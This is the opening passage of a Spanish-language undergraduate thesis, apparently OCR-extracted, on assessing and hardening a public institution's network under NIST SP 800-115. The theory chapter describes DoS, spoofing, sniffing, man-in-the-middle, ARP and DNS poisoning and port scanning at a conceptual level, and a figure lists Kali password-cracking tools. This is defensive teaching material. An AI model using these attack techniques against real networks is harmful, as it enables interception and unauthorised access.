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Resumen

TITULO

Evaluacion de la Seguridad Informética y Mitigacién de Vulnerabilidades en una Infraestructura de Red
Siguiendo los Lineamientos Propuestos por la Especificacion NIST SP 800-115.

AUTOR

Leonardo J. Duran G.
TUTOR

Profa. Ana Morales

Resumen

En este Trabajo Especial de Grado se muestran los resultados obtenidos de una evaluacién de la seguridad
informatica aplicada a la infraestructura de red actual de una institucion puablica siguiendo una
metodologia de 3 etapas. Por motivos de confidencialidad no se va a revelar el nombre de la institucién
objeto del estudio. Los 3 grandes aspectos de la metodologia son Planificacion, Ejecucién y Mitigacién
cada una de las cuales tiene un conjunto definido de actividades. Esta metodologia es una adaptacion de
lo propuesto en el documento NIST SP 800-115.

Los dispositivos de red que se evaltan son los switches y el router/firewall de la organizacidn los cuales
se comparan contra las mejores practicas de la industria para su configuracién segura. También se hace un
estudio de la seguridad de los datos que viajan a través de la red usando técnicas propias de un atacante
malintencionado para comprobar la respuesta de los mecanismos de seguridad (o ausencia de ellos)
actualmente implementados en la organizacion.

La salida de la evaluacién de seguridad es un conjunto de vulnerabilidades las cuales se resolvieron
implementando las acciones de mitigacién correspondientes en cada caso siempre que se contara con los
recursos y permisos necesarios para hacerlo. Para finalizar, una vez ejecutadas las actividades de
mitigacion se hicieron pruebas adicionales para comprobar que las contramedidas implementadas
cumplieron con el objetivo de resolver las vulnerabilidades detectadas.

Palabras Claves: Seguridad de la Informacion, Hacker, Vulnerabilidad de Seguridad, Evaluacion de
Seguridad, Control de Seguridad.
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Introduccion

Hoy en dia, es comun encontrarse a diario con noticias en diferentes medios de comunicacién acerca de
ataques maliciosos hacia los sistemas informéticos de diferentes organizaciones publicas y privadas,
grandes o pequefias. Partiendo del principio de que no existe la seguridad total cuando hablamos de
equipos conectados a una red podemos preguntarnos ¢Que puede hacerse para mejorar el estado de
seguridad actual? ¢ Es posible prevenir estos ataques?

La informacion se ha transformado en el activo mas importante de cualquier organizacion y, por lo tanto,
se ha hecho imprescindible como parte fundamental de la actividad de negocio mantenerla protegida ante
accesos no autorizados o robo de informacion que no solo podria paralizar la actividad de negocio,
también afectan la reputacién de la organizacion que se ve bajo ataque.

Debido a que asegurar la informacion no es una tarea sencilla, se han desarrollado metodologias con el
objetivo de identificar, clasificar y valorar los activos tecnoldgicos asi como también las amenazas. Por lo
general, gran cantidad de personas que trabajan en TIC han tenido contacto alguna vez con herramientas y
procedimientos de seguridad informatica pero, aplicar ese conocimiento sin seguir una metodologia bien
establecida, con una aproximacion cientifica tiene poco o ningun impacto en el aumento de la seguridad
general de una organizacion.

Comunmente, se denomina hacker [1] al individuo que tiene un conocimiento alto de herramientas de
seguridad y protocolos de comunicacion que es capaz de tomar el control de sistemas informaticos
vulnerables. Este conocimiento puede usarse para el bien o para el mal. Para ser un especialista en
seguridad se requiere tener una capacidad de analisis y un conocimiento de herramientas hacking similar
al de un atacante malicioso real.

La organizacion a estudiar es una institucion gubernamental cuya mision es dirigir, producir y proveer
informacidn territorial importante para el desarrollo y la seguridad de la Nacion. La red de la sede central
esta compuesta por aproximadamente 500 usuarios contando estaciones de trabajo, servidores fisicos,
maquinas virtuales, teléfonos IP y dispositivos de red (switches, router, routers inalambricos, firewall).
No hay dispositivos IDS/IPS. La institucion presta una serie de servicios instalados en equipos de uso
solo interno y otros que estan disponibles para su acceso publico a través de Internet.

La evaluacion de seguridad en el presente trabajo se hizo siguiendo una metodologia y tiene como fin
valorar el grado de efectividad de las tecnologias de la informacion que se usan para proteger los activos
mas importantes de la institucion objeto de estudio. Existen diferentes tipos de evaluaciones de seguridad
con diferentes alcances y formas de aplicacion.

Este documento de Trabajo Especial de Grado esta estructurado de la siguiente manera:
Capitulo 1: Se presenta la descripcion y delimitacion del problema que se esta estudiando.

Capitulo 2: Contiene una breve introduccion a los conceptos basicos de la seguridad informatica, sus
principios generales y las tecnologias mas usuales para proteger la red de cualquier organizacion.
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Capitulo 3: Se describe con detalles la metodologia de evaluacion de la seguridad aplicada en la
organizacion objeto de estudio.

Capitulo 4: Contiene todos los datos recopilados durante la aplicacion de la metodologia, el analisis de
esos datos y la descripcion de las actividades realizadas para mitigar las vulnerabilidades encontradas.

Capitulo 5: Comprende un conjunto de escenarios de prueba adicionales con la intencion de comprobar
la efectividad de las medidas de mitigacion implementadas y asi conocer si resultaron suficientes o no.

Finalmente, se ofrecen conclusiones sobre este Trabajo Especial de Grado evaluando el cumplimiento de
los objetivos trazados. Se establecen, ademas, las limitaciones encontradas, sugerencias para trabajos de
investigacion futuros relacionados con el mismo tema asi como algunas recomendaciones finales.
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Capitulo 1. Planteamiento del Problema

1.1 El Problema

En este capitulo se exponen los argumentos que justifican la investigacion asi como el planteamiento de
los objetivos y el alcance de la misma.

1.1.1 Planteamiento del Problema

La informatica se ha convertido en una actividad fundamental para la actividad cotidiana de
organizaciones publicas y privadas. La mayoria de las personas confian en que sus datos salvaguardados
por una organizacion con presencia en Internet estan seguros, que van a estar disponibles de forma integra
cuando los requieran pero ¢Qué tan cierto es esto?

El auge de Internet a partir de los afios 90 ha sido el factor fundamental que ha hecho que la seguridad
informatica cobrase un papel vital para toda organizacion (o individuo) que tenga alguna parte de su red
expuesta a una red publica como Internet. Ya no es necesario estar fisicamente en la misma habitacion
que un computador para robar informacion sensible o provocar una denegacion del servicio que preste el
mismo, si este estd conectado a la red. Cuando no se conoce el alcance que tienen los sistemas
informaticos ni lo vulnerables que pueden ser si son expuestos a Internet, puede haber una fuga de
informacion hacia el exterior.

Algunas organizaciones, sobre todo en el sector publico, almacenan en su infraestructura tecnoldgica
informacidén con valor incuantificable que en muchos casos ha tomado afios de trabajo generarla con la
correspondiente inversion en recursos humanos y econdémicos. Parte de esa informacién podria ser incluso
vital para la toma de decisiones estratégicas de la Nacion. En este contexto, cobra una importancia vital y
hasta de interés nacional proteger dicha informacién ante accesos no autorizados, robo de informacion y
ataques maliciosos que pudieran destruirla.

La institucién que se toma como caso de estudio para el presente trabajo especial de grado nunca antes ha
ejecutado una evaluacion formal de su postura en seguridad y aunque existe un documento de politicas de
seguridad escrito, las mismas no se estan respetando actualmente. Existe un interés en mejorar el estado
actual de la seguridad de la red de datos ya que, en el mediano plazo, la institucion va a brindar servicios
de infraestructura a instituciones externas a través de un centro de procesamiento de datos que se esta
implementando.

El problema existente es claro, el riesgo de seguridad aumentara considerablemente cuando se preste
servicio a instituciones externas, por tanto, es necesario asegurar la red de datos existente a un nivel
superior al que se encuentra hoy en dia y para esto existen principios de seguridad y mejores practicas que
pueden usarse como referencia a la hora de hacer una evaluacion de seguridad informatica

1.1.2 Justificacion

Para cualquier organizacion es de suma importancia mantener la confiabilidad, integridad y
disponibilidad de la informacion que se almacena en sus activos tecnoldgicos, es por ello que la
institucion desea poder realizar una evaluacion de su estatus en materia de seguridad informética. Una
metodologia de evaluacion de la seguridad informatica es un recurso extremadamente valioso para poner
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a prueba los procesos, tecnologias y hasta a las personas en materia de seguridad. El aspecto mas
importante de una metodologia es que proporcione un procesos sistematizado y repetible de manera tal
gue terceras partes puedan verificar la salida de la misma y obtener los mismos resultados.

Someter a prueba el estado actual en seguridad de la institucion, usando una metodologia bien definida,
permitira la identificacion de fallas y riesgos en un momento determinando del tiempo para asi poder
plantear medidas correctivas que mejoren la situacion actual. Debido a la naturaleza cambiante de las TI,
es comudn la introduccion de nuevas tecnologias, accion que puede introducir nuevos fallos en la
seguridad de la informacion o crear nuevas maneras de atacar la infraestructura existente, razon por la
cual la evaluacion de los controles de seguridad debe hacerse de manera regular como parte integral de la
gestion de Tl en la institucion.

1.1.3 Objetivos
En esta seccion se definen los objetivos que se quieren conseguir con la realizacion del trabajo propuesto.

Objetivo General

Evaluar la situacién actual en seguridad informatica de la red de datos de una institucién publica usando
los lineamientos de la metodologia NIST SP 800-115 y aplicar correctivos a las debilidades encontradas
durante la ejecucion de la misma.

Obijetivos Especificos

e Identificar las herramientas apropiadas para llevar a cabo una evaluaciéon de seguridad
informética.

e Evaluar mediante la metodologia NIST SP 800-115 los controles de seguridad implementados
actualmente en la infraestructura de red de la institucion para verificar su efectividad usando las
herramientas de prueba seleccionadas.

e Generar un conjunto de recomendaciones de seguridad a la institucién con el fin de mitigar las
vulnerabilidades encontradas.

e Implementar las mitigaciones de riesgos pertinentes que resuelvan las debilidades en la
arquitectura de seguridad halladas durante el proceso de evaluacion.

1.1.4 Alcance

La evaluacion a ejecutar no debera afectar el funcionamiento de los servicios prestados por la institucion
objeto del estudio, en caso de hacer una prueba que pudiera provocar denegacion de servicio esta debe
realizarse en un horario de poca demanda por parte de los usuarios. El punto de vista principal de la
prueba de seguridad serd una evaluacién de la red de datos perimetral, los dispositivos de red y los
servicios de red mas importantes como pueden ser DHCP y DNS. Se haran propuestas, recomendaciones
y se subsanaran las fallas que se encuentren en la arquitectura de red siempre que se cuente con los
recursos y accesos necesarios dentro de la organizacion.
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Capitulo 2. Marco Tedrico

La intencion de este capitulo es familiarizar al lector con los conceptos e ideas relacionadas con el campo
de seguridad de la informacidn que le facilitaran la comprensién del presente Trabajo Especial de Grado.

2.1 Seguridad de la Informacion

2.1.1 ¢ Queé es Seguridad de la Informacion?
Antes de que sea posible defenderse ante posibles ataques, es necesario entender exactamente lo que es la
seguridad informética y como se relaciona con la seguridad de la informacién.

Definicion de Seguridad de la Informacion

Es comun hablar de seguridad informatica y de seguridad de la informacion como si fueran la misma cosa
y, a primera vista, pareciera ser, sobre todo si se tiene en cuenta que en la actualidad, gracias al constante
desarrollo tecnoldgico, se tiende a digitalizar todo tipo de informacion y manejarla a través de un sistema
informatico. Sin embargo, aunque tengan la necesidad de trabajar en armonia, cada uno de estos aspectos
tiene objetivos y actividades diferentes.

Por seguridad informatica [2] se entiende al conjunto de politicas, reglas, estandares, métodos y
protocolos que se utilizan para la proteccién de la infraestructura de computadoras y toda la informacién
contenida o administrada por ella. Esta informacién debe ser protegida de la posible destruccion,
modificacion, difusion o utilizacion indebida. No sélo se debe prestar atencién a los ataques
intencionales, sino también a posibles fallas de software o hardware que atenten contra la seguridad.

Por otra parte, seguridad de la informacion [2] se refiere a todas aquellas medidas que procuren
resguardar la informacidn ante cualquier irregularidad. La principal diferencia entre seguridad informatica
y seguridad de la informacion es que la primera se encarga de la seguridad en un medio informatico y la
segunda se interesa en la informacion en general (ver Figura 1), pudiendo ésta estar almacenada tanto en
un medio informatico como en cualquier otro. Por ejemplo, un manual de procedimientos escrito en
papel, el conocimiento que poseen las personas, escrituras en pizarras y papeles que se descartan, son
fuentes importantes de informacion.
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Seguridad
Informatica

Figura 1. Seguridad de la Informacién

Fuente: tomada de [2]

Un profesional de la seguridad trabaja para lograr los objetivos fundamentales de la seguridad de la
informacidn. Estos objetivos fundamentales son la confidencialidad, integridad (integridad de datos) y la
disponibilidad a los cuales se les conoce como la triada CIA (Confidentiality, Integrity and Availability)
por sus siglas en inglés [3] (ver Figura 2). A continuacion se describen brevemente estos objetivos
fundamentales y algunos ejemplos de tecnologias que se usan para mantener la CIA [4] [3]:

Confidencialidad: la confidencialidad asegura que solo las partes autorizadas puedan ver la
informacién. Es importante que solo los individuos autorizados tengan permitido acceder a
informacion importante. Una serie de tecnologias tales como control de accesos, permisos y
cifrado se usan para mantener la confidencialidad de la informacion.

Integridad: la integridad asegura que la informacion es correcta y que ninguna persona no
autorizada o software maliciosos ha alterado el dato. El hashing es una tecnologia muy popular
para asegurar la integridad de los datos.

Disponibilidad: la disponibilidad asegura que los datos son accesible a usuarios autorizados. La
informacidn tiene valor si las partes autorizadas pueden acceder a la misma. Algunas soluciones
populares para mantener la disponibilidad: backups, tecnologias de redundancia, uso de clusters.

Aunque el uso de la triada CIA esta bien establecido, algunos en el campo de la seguridad consideran que
se necesitan conceptos adicionales para presentar una imagen mas completa. Los dos mas cominmente
mencionados son [5]:

Autenticidad: esto significa verificar que los usuarios son quienes dicen que son y que cada
solicitud que llega al sistema proviene de un origen de confianza.

Registro: significa poder hacer un seguimiento ante una brecha de seguridad hasta las entidades
responsables. Esto soporta la no repudiacion, disuasion, aislacion de falla, prevencion y deteccion
de intrusos y acciones legales. Se lleva a la practica mediante la implementacién de funciones de
auditoria y logs en los sistemas, routers, firewalls y en las aplicaciones.
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Seguridad

Figura 2. Triada CIA

Fuente: tomada de [2]

Tipos de Seguridad

En una organizacion se requiere implementar los siguientes tipos de seguridad [3]:

Seguridad fisica: la seguridad fisica consiste en ser capaz de controlar quién tiene acceso fisico a
los activos dentro de la organizacion. Por ejemplo, la mayoria de las compafiias controlan el
acceso a los servidores colocandolos en una habitacion cerrada conocida como la sala de
servidores.

Seguridad de las comunicaciones: se trata de proteger la informacion en trénsito entre un origen
y un destino a través de la red.

Seguridad de las computadoras: trata la implementacién de mejores practicas tales como
autenticacion, control de acceso, redundancia de datos, proteccion contra malware y técnicas de
hardening de sistemas. EIl punto principal a entender es que se asegura el sistema pero no la
comunicacion entre los sistemas.

Seguridad de la red: la seguridad de la red se ofrece controlando quien gana acceso a la red
(sequridad de switches) y que tipo de trafico puede entrar en la red (firewalls). Esto se
complementa mediante el monitoreo del trafico buscando actividad sospechosa (IDS/IPS). Se
trata de asegurar toda la red, no un sistema particular.

Terminologia de la Seguridad de la Informacion

A continuacion se listan los términos mas relevantes relacionados con la seguridad de la informacion
tomado de [3]:

Activo: un recurso que la organizacién necesita para funcionar.
Vulnerabilidad: una debilidad en la configuracién de hardware o software.
Amenaza: un evento gque puede causar dafio a los activos.
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Vector de amenaza: una herramienta 0 mecanismo que el atacante usa para explotar una
debilidad en un sistema.

Actor de amenaza: el término usado para el atacante que usa el vector de amenaza para
comprometer un sistema.

Objetivo de la amenaza: el sistema o dispositivo que esta siendo atacado.

Riesgo: cuando la amenaza a un activo puede causar dafio a la organizacion. Por lo general
resulta en una perdida financiera.

Andlisis de riesgos: la identificacion y planeacion de las técnicas de mitigacion para reducir y
administrar el riesgo a la organizacion. Este analisis por lo general es cualitativo pero en
determinados casos puede hacerse un andlisis cuantitativo también.

Hay diferentes opciones disponibles cuando se trata de riesgos [3]:

Evitar el riesgo: es la idea de que si la actividad implica un riesgo, se decide no realizar la
actividad. Por ejemplo, tener un sitito de comercio electrénico que proporciona ganancias pero
como existe el riesgo de recibir atagues en Internet entonces se decide dejando de vender
productos online.

Aceptar el riesgo: significa que no se implementa ninguna solucién para protegerse contra la
amenaza debido a que el impacto de la amenaza no justifica el costo de la implementacion de una
contramedida.

Mitigar el riesgo: involucra implementar una contramedida de seguridad que proteja al activo de
la amenaza. Por ejemplo, protegerse contra fallas de disco en un servidor web comprando una
solucion RAID.

Transferir el riesgo: el riesgo se trasfiere a un tercero para que el control de la amenaza sea su
responsabilidad. Por ejemplo, contratar un seguro que ayude a recuperarse de un incidente de
seguridad.

Disuadir el riesgo: la disuasion del riesgo implica entender algo sobre el atacante y luego se le
informa del dafio que puede haber para el si ataca un activo. Un ejemplo es colocar un banner en
el que se amenaza con castigo legal a cualquiera que ataque al activo para que se abstenga de
hacerlo.

Importancia de la Seguridad de la Informacion

La seguridad de la informacién puede ser Gtil en la prevencion las siguientes actividades:

Prevencion de robo de datos: prevenir que los datos sean robados es por lo general el objetivo
primario de la seguridad de la informacién. Los datos que se roban pueden ser datos de la
compafiia o de individuos.

Frustrar el robo de identidades: el robo de identidad consiste en el robo de informacion
personal de otra persona y luego usar la informacion para hacerse pasar por la victima,
generalmente para obtener ganancias financieras.

Evitar consecuencias legales: en algunos paises existen leyes destinadas a proteger la privacidad
de la informacion electronica y los negocios que fallen en protegerlos podrian enfrentar serias
consecuencias penales.
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e Mantener la productividad: los empleados no pueden ser productivos y completar tareas
importantes durante o después de un ataque debido a que las computadoras o redes podrian no
funcionar apropiadamente.

e Frustrar terrorismo cibernético: a diferencia de un ataque que estd disefiado para robar
informacion o borrar el disco duro de un usuario, los atagques ciberterroristas tienen la intencién
de causar péanico o provocar violencia entre los ciudadanos. Los ataques van dirigidos a la
industria bancaria, plantas de poder, centros de control aéreo y sistemas de agua.

2.1.2 Retos de la Seguridad de la Informacién

Un observador casual pudiera pensar que debe existir una solucion répida y efectiva para asegurar
equipos informaticos, tales como instalar un mejor dispositivo de hardware o usar una aplicacion de
software mas segura. En realidad, no existe ninguna solucién simple y sencilla para asegurar los
dispositivos de computacion y la informacién contenida en ellos.

Nunca antes el reto de mantener seguras las computadoras ha sido tan grande como ahora, no solo por el
alto numero de ataques sino también por las dificultades en defenderse contra estos ataques. Algunas de
estas dificultades son las siguientes [4]:

e Dispositivos conectados universalmente: hoy en dia, practicamente cualquier dispositivo puede
conectarse a Internet. Esto puede ser beneficioso pero también expone el dispositivo conectado a
potenciales atacantes alrededor del mundo.

e Aumento de la velocidad de los ataques: con las herramientas modernas a su disposicién, los
atacantes pueden escanear rapidamente millones de dispositivos para buscar debilidades y lanzar
ataques con velocidad sin precedentes.

e Una mayor sofisticaciéon de los ataques: los atacante de hoy en dia usan protocolos y
aplicaciones comunes en Internet para realizar ataques lo que hace mas dificil distinguir un ataque
de tréfico legitimo.

e Disponibilidad y simplicidad de herramientas de ataque: en el pasado un atacante necesitaba
tener un conocimiento técnico extenso de redes y computadoras asi como la habilidad de
programar para materializar sus atagques. Este ya no es el caso, las herramientas de ataque de hoy
no requieren ningun tipo de conocimiento sofisticado por parte del atacante ya que muchas de
ellas incluso tienen una GUI (Graphical User Interface) amigable. En la Figura 3 se muestra el
escritorio de Kali Linux, una distribucién Linux con un gran ndmero de herramientas para hacer
hacking.

e Deteccion mas rapida de las vulnerabilidades: con las herramientas de hoy en dia es posible
encontrar de forma rapida debilidades en el hardware y software que posteriormente pueden
explotarse.

e Retrasos en las actualizaciones de seguridad: los proveedores de hardware y software estan
abrumados tratando de seguir el ritmo de actualizacion de sus productos frente a los ataques. El
retraso entre el momento en que se descubre la vulnerabilidad y se produce la actualizacion de
seguridad agrega dificultades a la defensa contra ataques.

e Debilidades en la distribucion de actualizaciones de seguridad: los usuarios por lo general no
saben que existe una nueva actualizacion de seguridad para un producto determinado ya que no
siempre el vendedor alerta al usuario de dicha actualizacion.
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e Ataques distribuidos: los atacantes pueden usar cientos de miles de computadoras bajo su
control en un ataque contra un solo servidor o red. Este “muchos contra uno” hace virtualmente
imposible detener un ataque identificando y bloqueando un solo origen.

e Introduccion de BYOD (Bring Your Own Device): coincidiendo con la introduccién de las
tablets modernas en el afio 2010 y el crecimiento en el uso de smartphones, creo la necesidad de
permitir a los empleados el uso de sus propios dispositivos personales para conectarse a la red
corporativa lo que también hizo mas dificil la tarea de mantener la red segura.

e Confusién de los usuarios: los usuarios ahora deben tomar decisiones de seguridad en sus
equipos para las que muchas veces no tienen la guia necesaria para dar una respuesta por lo que
terminan tomando decisiones que pueden potencialmente comprometer la seguridad del
dispositivo.
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05 - Password Attacks k 3
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07 - Reverse Engineering t‘a’%’ medusa
08 - Exploitation Tools a ncrack
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O0S ophcrack
10 - Post Exploitation —

&
11 - Forensics fl‘g] BYEIL

12 - Reporting Tools # rainbowcrack

13 - System Services
rcracki-mt
Usual applications

wordlists

Activities Overview

Figura 3. Men0 de ataques en Kali Linux

2.1.3 ¢ Quiénes son los atacantes?

En el pasado el término hacker hacia referencia a una persona que usaba sus habilidades avanzadas en
computadoras para realizar ataques. Por su connotacion negativa, se clasifican los hackers [4] en las
categorias de hacker sombrero negro y hacker sombrero blanco, el primero usa sus habilidades para
cometer delitos y el segundo las usa para ayudar a una determinada compafiia a identificar sus
vulnerabilidades.

Sin embargo, estas clasificaciones no reflejan los diferentes motivos y objetivos de los atacantes y por
esta razon es mas comun clasificar a los atacantes en las siguientes categorias mas descriptivas [4].
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Cibercriminales

Es el término genérico que suele usarse para referirse a cualquier individuo que lanza un ataque contra
equipos informéticos. Sin embargo, estrictamente hablando, los cibercriminales son una red de atacantes,
ladrones de identidad y estafadores financieros que estan altamente motivados y bien financiados.

En lugar de atacar un equipo para mostrar sus habilidades tecnoldgicas (fama), los cibercriminales tienen
el principal objetivo de la ganancia financiera (fortuna): los cibercriminales explotan vulnerabilidades
para robar informacion o lanzar ataques que puedan generarles ingresos.

Los cibercrimenes financieros se dividen en dos categorias: crimenes contra individuos, crimenes contra
negocios y gobiernos. Contra individuos un ciberatacante puede robar nimeros de tarjetas de créditos,
informacidn financiera o enviar millones de correos spam para vender drogas, software pirata, entre otros.
Contra negocios y gobiernos pueden hacer tales cosas como robar investigaciones o informacién de un
producto nuevo o informacion sobre acciones de un gobierno para la seguridad de su pais.

Script Kiddies

Son individuos que quieren ejecutar ataques sin embargo, carecen de los conocimientos sobre
computadoras y redes necesarios para hacerlo. Los script kiddies hacen su trabajo mediante la descarga de
software de ataque automatizado (de scripts) de diversas paginas web y los utilizan para realizar actos
maliciosos.

Broker

Son individuos que descubren vulnerabilidades que no reportan al vendedor del software y en lugar de eso
venden ese conocimiento al mejor postor. Los interesados en comprar esta informacién pueden ser otros
atacantes o incuso gobiernos. Estos compradores estdn generalmente dispuestos a pagar un precio alto
porque esta vulnerabilidad es desconocida para el proveedor de software y por lo tanto es poco probable
gue sea "parcheado" hasta después de nuevos ataques.

Insider

Estos ataques son mas dificiles de reconocer porque vienen de dentro de la organizacién y puede ser mas
costosos que los ataques provenientes desde el exterior.

La mayoria de los ataques maliciosos internos consisten en el sabotaje o robo de la propiedad intelectual.
Un estudio reveld [4] que la mayoria de los casos de sabotaje provienen de los empleados que han
anunciado su renuncia o que han sido amonestados formalmente, degradados o despedidos.

Ciberterroristas

Su motivacion es ideoldgica, atacando por el bien de sus principios o creencias. Los ciberterroristas son el
tipo de atacantes mas temibles ya que es casi imposible predecir cudndo o donde ocurrird un ataque de
esta naturaleza. Sus objetivos pueden incluir un pequefio grupo de computadoras o redes que puedan
afectar al mayor nimero de usuarios, tales como los equipos que controlan la red de energia eléctrica de
un estado o region.
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Hacktivistas

Son grupos también motivados por razones ideoldgicas. A diferencia de los ciberterroristas que lanzan
ataques contra naciones extranjeras para incitar el panico, los hacktivistas generalmente no tienen
objetivos definidos. Los ataques de hacktivistas pueden involucrar irrumpir en un sitio web y cambiar el
contenido en el sitio como un medio de hacer una declaracion politica contra los que se oponen a sus
creencias.

Atacantes Patrocinados por Estados

En lugar de utilizar un ejército para marchar a través del campo de batalla para alcanzar un adversario,
algunos gobiernos estan utilizando atacantes patrocinados por el Estado para el lanzamiento de ataques
informéticos contra sus enemigos.

2.1.4 Defensas Contra Ataques
Aunque pueden ser necesarias multiples defensas para resistir un ataque, estas defensas deben basarse en
cinco principios fundamentales de seguridad [4] que se describiran brevemente a continuacion.

Defensa en Profundidad (Defense in Depth)

Consiste en crear una barrera de multiples defensas que se coordinan para frustrar una gran variedad de
ataques. Si se penetra una capa deben violarse todavia varias capas mas para alcanzar el objetivo.

Limitar

Limitar el acceso a la informacion reduce las amenazas contra ella. Esto significa que solo personal
autorizado que debe utilizar los datos para su actividad laboral debe tener acceso a ellos. Adicionalmente,
el tipo de acceso debe a su vez limitarse al minimo necesario para que la persona realice su actividad.

Diversidad

Esta relacionado con el uso de capas o defensa en profundidad. Asi como es importante proteger los datos
con capas de seguridad, estas capas deben ser diferentes (diversas). Esto significa que si un atacante
penetra una capa, no puede usar la misma técnica para romper otras capas.

Oscuridad

Esta técnica llamada seguridad por oscuridad consiste en ocultar al mundo exterior lo que esta en el
interior haciendo que los ataques sean mucho mas dificiles de realizar.

Simplicidad

Los sistemas de seguridad complejos pueden ser dificiles de entender, resolver problemas e incluso
sentirse seguros acerca de ellos si el personal no los entiende. Tanto como sea posible, un sistema seguro
debe ser simple para que aquellos en el interior puedan entenderlo y usarlo.
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2.2 Ataques Basados en Red

Ademas de fijar las aplicaciones como objetivos de ataque, los atacantes dan una alta prioridad en fijar
como objetivos las redes para sus ataques. Esto es debido a que explotando una sola vulnerabilidad
pueden exponerse cientos o miles de dispositivos bajo ataque. Hay varios tipos de ataques que se dirigen a
una red o un proceso que se basa en red.

2.2.1 Denegacion de Servicio

Un ataque de denegacidn de servicio (DoS) es un intento deliberado de evitar que los usuarios autorizados
tengan acceso a un sistema saturando al mismo con solicitudes excesivas [4]. La mayoria de los ataques
DoS de hoy en dia son en realidad ataques de denegacion de servicio distribuidos (DDoS) [4]: en lugar de
usar una computadora, un DDoS puede usar cientos de miles de computadoras zombies en una botnet para
inundar un dispositivo con solicitudes (flooding).

Los ataques DoS se pueden dividir generalmente en las siguientes 3 categorias [6]:

o Directo: ocurre cuando el origen del ataque genera los paquetes, independientemente del
protocolo o de la aplicacién que se estd enviando directamente a la victima del ataque.

o Reflejado: ocurre cuando un atacante envia un paquete forjado a un equipo que actuara de forma
involuntaria como origen del ataque, este paquete forjado contiene como direccion IP de origen la
IP de la victima para que de esa manera el origen envie todas las respuestas a la victima. Suele
usarse UDP como mecanismo de transporte ya que es mas facil forjar paquetes debido a la
ausencia del three-way-handshake. Por ejemplo, si el atacante (A) decide atacar a la victima (V)
le enviara paquetes (Por ejemplo NTP, Network Time Protocol) a un origen (S) que considerara
esos paquetes forjados como legitimos. El origen (S) entonces responde las solicitudes NTP
enviando las respuestas a la victima (V) que en realidad no estaba esperando estos paquetes NTP
desde ese origen (S) (Figura 4).

¢ Amplificacion: los ataques de amplificacion son una forma de ataque reflejado en el cual el
trafico de respuesta (enviado por los participantes involuntarios) se compone de paquetes que son
mucho mas grandes que los que fueron enviados inicialmente por el atacante (mediante paquetes
con IP origen de la victima). El resultado final es que la victima es inundada por grandes paquetes
para los que en realidad nunca emitié consultas.
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Figura 4. Ataque DoS Reflejado

Fuente: tomada de [6]

2.2.2 Spoofing
Es un tipo de ataque donde el atacante altera la direccion origen de la informacion para hacerla parecer

gue vienen de un sitio distinto. Algunos tipos de spoofing (suplantacion) son los siguientes [3]:

IP spoofing: cuando la direccion IP origen de un paquete se altera para que el paquete parezca

venir de un origen diferente (Figura 5).
MAC spoofing: cuando la direccion MAC origen de un frame se altera para que parezca que

viene de un sistema o dispositivo diferente.

Header

SPCIP:22.10.5.6
DST IP: 96.30.40.50

Data | '
Trailer
|

24.10.20.30
96.30.40.50

Figura 5. IP Spoofing que altera la direccion origen de un paquete

Fuente: tomada de [3]
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Es importante sefialar que el atacante puede suplantar un frame o un paquete con el fin de evitar una lista
de control de acceso (ACL) y lograr acceder a un recurso que solo se permite a determinadas direcciones
IP (o direcciones MAC) de origen.

2.2.3 Sniffing

En este ataque se captura trafico de la red para ver el contenido de los paquetes que viajan por la red. Los
paquetes podrian contener informacidn sensible tal como nimeros de tarjetas de crédito o nombre de
usuario y contrasefias.

Las herramientas mas populares para hacer captura de paquetes son Wireshark que tiene una GUI y
tcpdump que funciona en CLI.

2.2.4 Hombre en el Medio (Man-in-the-Middle, MITM)

Este tipo de ataque hace que parezca que dos computadoras se comunican entre si, cuando en realidad
estan enviando y recibiendo datos con un computador entre ellos (el "man-in-the-middle") que puede estar
capturando toda la informacién que intercambie la victima con el destino.

En la Figura 6 la computadora de la victima y el servidor se estdn comunicando sin reconocer que un
atacante esta interceptando la transmision.

Victim

Original connection

Il
|

New connection

a1 LA
Attacker

Figura 6. Ataque hombre en el medio (Man-in-the-middle)

Fuente: tomada de [4]

2.2.5 Envenenamiento

El envenenamiento (poisoning) en el contexto de seguridad de la informacion consiste en que alguien con
acceso a un entorno deliberadamente coloca una configuracion incorrecta en el con el fin de interrumpir la
operacion normal [3]. A continuacion se describen los casos de envenenamiento mas usuales.

Envenenamiento ARP
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El envenenamiento ARP consiste [3] en que un atacante altera la caché ARP de un sistema o grupo de
sistemas para que estos equipos guarden una direccion MAC incorrecta para una direccion IP especifica
en su tabla ARP. Por lo general, el atacante envenenara la caché ARP para que la direccién IP del
gateway por defecto apunte a la direccion MAC del equipo del atacante. Esto asegura que cada vez que la
victima trata de enviar datos al router (el gateway por defecto) recibira la direccion MAC del atacante de
su caché local ARP y entonces envia los datos a la maquina del atacante en vez de al router legitimo. Este
ataque permitira al atacante capturar todo el tréfico de red de la victima incluso en un entorno que use
switches.

En la Figura 7 se observa el objetivo principal de hacer el ataque; la maquina Kali es el atacante y las
maquinas Ubuntu y Windows XP las victimas, cuando Ubuntu quiere enviar trafico destinado a Windows
XP este en realidad llega primero a la maquina Kali quien lo reenvia a Windows XP y viceversa. Si la
maquina Kali ejecuta un sniffer entonces podra capturar toda la conversacion entre los hosts Ubuntu y
Windows XP.

Kali Linux
(192.168.20.9)
Kalireenvia trafico

Kalireenvia trafico hacia Windows XP
haciaUbuntu

Windows XP envia

Ubuntuenvia

traficodestinado traficodestinado
para Windows a para Ubuntu a Kali
Kali
Objetivo Ubuntu Objetivo Windows XP
{192.168.20.11) (192.168.20.10)

Figura 7. Envenenamiento ARP (ARP Poisoning)

Fuente: adaptada de [7]

El envenenamiento ARP tiene éxito porque no hay procedimientos de autenticacion para verificar las
peticiones y respuestas ARP.

Envenenamiento DNS

El envenenamiento DNS ocurre cuando un atacante compromete un servidor DNS y altera las entradas
DNS haciendo que los nombres DNS apunten a direcciones IP incorrectas. Por lo general, los atacantes
modificaran los registros DNS para apuntar a sistemas bajo su control [3].
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Sustituir una direccion IP fraudulenta puede hacerse en la tabla local de hosts de un equipo 0 en un
servidor DNS externo alterando su caché DNS. Un computador usa primero la tabla host local para
resolver un nombre y si no existe entrada entonces consulta a un servidor DNS externo.

2.2.6 Escaneo de Puertos

Durante un escaneo de puertos, el atacante ejecuta software en la red contra un sistema (o grupo de
sistemas) para determinar cuéles puertos estan abiertos. Una vez que el atacante encuentra los puertos
abiertos, trata entonces de explotar esos puertos para ganar acceso al sistema. El escaner de puertos mas
importante es el software conocido como Nmap.

Hay varios tipos de escaneo de puertos TCP alguno de los cuales se describiran brevemente [8]:

TCP connect scan: esta opcion completa el three-way handshake con cada puerto objetivo. Si la
conexién tiene éxito, el puerto se considera abierto. Este tipo de escaneo es lento y es muy
